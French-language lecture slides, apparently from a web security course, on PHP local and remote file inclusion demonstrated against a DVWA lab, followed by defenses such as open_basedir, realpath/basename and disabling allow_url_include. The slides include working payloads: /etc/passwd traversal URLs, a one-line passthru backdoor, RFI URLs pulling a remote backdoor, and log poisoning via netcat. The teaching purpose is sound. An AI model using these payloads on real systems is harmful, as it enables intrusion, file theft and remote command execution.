# File Inclusion

## aka LFI / RFI


##  File Inclusion

* paramètres HTTP non filtrés

```php
include($_REQUEST['filename']);
```

* permet
  * d'exécuter du code distant
  * d'exécuter du code localement
  * accéder à des fichiers locaux sensibles

* concerne [include](http://php.net/manual/fr/function.include.php), [include_once](http://php.net/manual/fr/function.include-once.php), [require](http://php.net/manual/fr/function.require.php), [require_once](http://php.net/manual/fr/function.require-once.php), [fopen](http://php.net/manual/fr/function.fopen.php)


## Local File Inclusion (LFI)

### [security low](http://dv.wa/vulnerabilities/fi/?page=include.php)

* souvent appelé **Directory traversal**
* permet d'accéder à des fichiers sensibles
  * [http://dv.wa/vulnerabilities/fi/?page=/etc/passwd](http://dv.wa/vulnerabilities/fi/?page=/etc/passwd)

* marche aussi avec /etc/hosts, ~/.bashrc, ~/.bash_history ...
* marche pas avec /etc/shadow

Note:
- open base dir
  - pas ou mal configiuré
  - par défaut ispconfig
- anciennement safe_mode


### fichiers sytèmes connus

* fichiers systèmes génériques
  * c:\boot.ini, c:\windows, c:\windows\system32\drivers\etc\hosts
  * /etc/passwd
* utilisé des paths absolus
* utilisé des paths relatifs (../.. ou ..\\..)
* windows
  * les sevrices tournent souvent en administrateur
* linux
  * services en root
    * threads avec utlisateur sans privilege

Note:
- pas de troll sur windows
  - stackoverflow fonctionne en .net
  - microsoft a ouvert de nombreux projets
- les path en pahse de détection sont d'un grand secours pour comprendre l'organisation du filesystem


### fonction de l'architecture du code

* charger la page appelée
  * [http://dv.wa/vulnerabilities/fi/?page=index.php](http://dv.wa/vulnerabilities/fi/?page=index.php)
    * boucle infinie = ca marche
      * invalider par (include|require)_once


### fonction de l'architecture du code

* dossier d'inclusion dynamique de fichier
  * paramètres d'url full path
    * ?config=../template.htm
  * paramètres d'url obfusqué
    * ?config=site

```php
include "config/".$config.".php";
```

* [url rewriting](https://www.webrankinfo.com/dossiers/techniques/tutoriel-url-rewriting) à prendre en compte

[http://dum.my/config.php?config=conf.inc](http://dum.my/config.php?config=conf.inc%00)

Note:
- magic_quote_gpc doit être disabled
  - supprimé de la version 5.4.0
    - pas maquettée on une 5.4.41 sur debian
- code source inclu interprété ou pas
  - pas toujours évident à savoir
    - bien comprendre le contexte
- importance des paths collecter à l'étape de détection
- exploitable via http://mutillid.ae https://www.youtube.com/watch?v=t8w6Bd5zxbU
  - textfile passé en post à intercepter avec burp
    - bon exercice


## Remote File Inclusion (RFI)

* inclusion de code arbitraire
  * Backdoor ou Remote shell

* dépend de la configuration de php
  * par défaut

```ini
; Whether to allow include/require to open URLs (like http:// or ftp://) as files.
; http://php.net/allow-url-include
allow_url_include=Off  
```

* à On pour les besoins du TP
  * certains produits PHP nécessitent cette option


### [security medium](http://dv.wa/vulnerabilities/fi/?page=include.php)

Approche artisanale

```php
$file = str_replace("http://", "", $file);
$file = str_replace("https://", "", $file);         
```

Note:
- discuter la surcharge du php.ini via .htaccess
  - solution ispconfig
- on reste bien sur security low pour que ca marche


## Backdoor

* basiquement permet d'exécuter du code et / ou des commandes systèmes
  * version artisanale

```php
echo passthru($_GET['cmd']);
```

* version plus robuste
  * [<i class='fa fa-github' aria-hidden='true'></i>  dberliner/php-backdoor](https://github.com/dberliner/php-backdoor)
  * [r57shell.net](http://www.r57shell.net/)


## remote raw backdoor

<small>[http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php](http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php)</small>

### <i class="fa fa-thumbs-o-up" aria-hidden="true"></i>

<small>
[http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php?c=ls](http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php?c=ls)</small>

### <i class="fa fa-thumbs-o-down" aria-hidden="true"></i>

<small>
[http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php&c=ls](http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php&c=ls)
</small>

### <i class="fa fa-thumbs-o-up" aria-hidden="true"></i>


### [security medium](http://dv.wa/vulnerabilities/fi/?page=include.php)

#### log poisoning

* ne nécessite aucun accès en écriture sur le système de fichier
* nécessite une mauvaise configuration des permissions sur les logs (custom logs)
  * [exploitable avec les logs ssh, apache, mysql](http://oleaass.com/file-inclusion-log-poisoning-to-code-execution/)

dans `/etc/apache2/sites-enabled/dvwa`

```ìni
CustomLog /home/mazenovi/logs/dvwa-access.log combined
```


#### log poisoning

* l'utilisateur lié au thread apache a accès en lecture à ce répertoire

<small>
[http://dv.wa/vulnerabilities/fi/?page=/home/mazenovi/logs/dvwa-access.log](http://dv.wa/vulnerabilities/fi/?page=/home/mazenovi/logs/dvwa-access.lo)
</small>

* les logs sont affichés

Note:
- j'ai volontairement configuré les logs dans un endroit non sécurisé pour que ca marche
  - pour des facilités de lectures ou d'archivage ca poeut êtyre une idée (mauvaise)
  - lien symbolique doit marcher ausssi


## injection de la backdoor

* netcat (aka nc) permetd'ouvrir des connexions UDP ou TCP

```shell
$ nc dv.wa 80
```

* Entrer manuellement les paramètres suivant

```http
GET /<?php echo passthru($_GET['cmd']); ?> HTTP/1.1
Host: dv.wa
Referer: <?php echo passthru($_GET['cmd2']); ?>
User-Agent: <?php echo passthru($_GET['cmd3']); ?>
```

<small>
[http://dv.wa/vulnerabilities/fi/?page=/home/mazenovi/logs/dvwa-access.log&cmd=ls](http://dv.wa/vulnerabilities/fi/?page=/home/mazenovi/logs/dvwa-access.log&cmd=ls)
</small>

attendre le log rotate en cas d'échec

Note:
- notez que les .log ne sont pas associés à l'interpréteur PHP au niveau d'apache
  - c'est le include qui interprète gentiment ce qui est entre <?php ... ?>
- attention c'est un one shot
- > /home/mazenovi/logs/dvwa-access.log pour bien voir
- > /home/mazenovi/logs/dvwa-error.log pour bien voir
- ctrl + f "help" pour trouver les rep listés on est dans
  - /var/www/dvwa/vulnerabilities/fi/


## PHP [safe mode](http://php.net/manual/fr/ini.sect.safe-mode.php)

* Quand safe mode est actif, PHP vérifie que le propriétaire du script courant est le même que le propriétaire des fichiers ou dossiers qui seront manipulés par ce script.

```shell
-rw-rw-r--    1 rasmus   rasmus       33 Jul  1 19:20 script.php
-rw-r--r--    1 root     root       1116 May 26 18:01 /etc/passwd
```

```php
readfile('/etc/passwd');
```

```shell
Warning: SAFE MODE Restriction in effect. The script whose uid is 500 is not
allowed to access /etc/passwd owned by uid 0 in /docroot/script.php on line 2
```


## PHP [safe mode](http://php.net/manual/fr/ini.sect.safe-mode.php)

* senser résoudre le problème du partage de PHP en environnement mutualisé
* déprécié en 5.3
* supprimé depuis 5.4
* approche non réaliste
  * ce n'est pas à PHP de régler ce problème
* [safe_mode_gid](http://php.net/manual/fr/ini.sect.safe-mode.php#ini.safe-mode-gid) permet d'élargir au groupe s'il est activé


## [suPHP](http://www.suphp.org/Home.html)  

* executing PHP scripts with the permissions of their owners
* Apache module (mod_suphp)
* setuid root binary (suphp)
  * called by the Apache module to change the uid of the process executing the PHP interpreter
  * rien ne doit être en chmod 777
    * reporté comme erreur

abandonné depuis 2013


## [suExec](http://httpd.apache.org/docs/2.4/fr/suexec.html)

* Au niveau d'Apache
* exécution des programmes CGI et SSI (Server Side Inclusion)
  * utilisateur autre que celui par défaut d'apache

Note:
- bien pour le multi hosting notamment
  - chacun ne peut ruiner que son périmètre
- Utilisée de manière appropriée
  - réduit considérablement les risques de sécurité
- les deux sont déconseillés car ils se basent sur des mod PHP peu performant par rapport à PHP-FPM


## [open_base_dir](http://php.net/manual/fr/ini.core.php#ini.open-basedir)

* A l'appel de fonctions de type [require_once](http://php.net/manual/fr/function.require-once.php) ou [fopen](http://php.net/manual/fr/function.fopen.php)
  * le chemin vers le fichier est analysé
    * si le fichier est à l'extérieur des dossiers spécifiés
      * PHP refuse d'y accéder
    * les liens symboliques sont résolus
      * il n'est pas possible d'outre-passer cette restriction avec un lien symbolique


## [open_base_dir](http://php.net/manual/fr/ini.core.php#ini.open-basedir)

* **.** inclue le fichier lui-même
  * problématique si on change le dossier courant avec [chdir()](http://php.net/manual/fr/function.chdir.php)

* valeur typique

```ini
/var/www/:/usr/share/php:/tmp
```

Note:
- utilisé et configuré en automatique dans ISPConfig
- on peut désactiver chdir ...


## [realpath()](http://php.net/manual/fr/function.realpath.php) and [basename()](http://php.net/manual/fr/function.basename.php)

* realpath()
  * converti tous les *.* et **..** en path absolue
  * retourne null pour un path inexistant
* basename()
  * extrait la partie contenant le nom du dossier précédant directement le nom du fichier
* 2 fonctions qui combinées évitent les directory traversal


## [realpath()](http://php.net/manual/fr/function.realpath.php) and [basename()](http://php.net/manual/fr/function.basename.php)

```php
$username = $_GET['user'];
$filename = "/home/users/".$username;
readfile($filename);
```

peut être sécurisé via realpath() et basename()

```php
$username = basename(realpath($_GET['user']));
$filename = "/home/users/".$username;
readfile($filename);
```

ne préserve pas d'une LFI dans le même répertoire


## <i class="fa fa-medkit"></i> Se préserver

* filtrer ses entrées
  * avec realpath() et basename()
  * par listes blanches
* déscativer allow_url_include
* utiliser l'open_base_dir


## <i class="fa fa-medkit"></i> Se préserver

* désactiver l'exécution de php sur les répertoires exposés qui n'en ont pas besoin (c.f. [upload](upload.htm))
* faire attention aux permissions des logs notamment en lecture
  * écriture forcément autoriser pour l'utilisateur qui fait tourner le serveur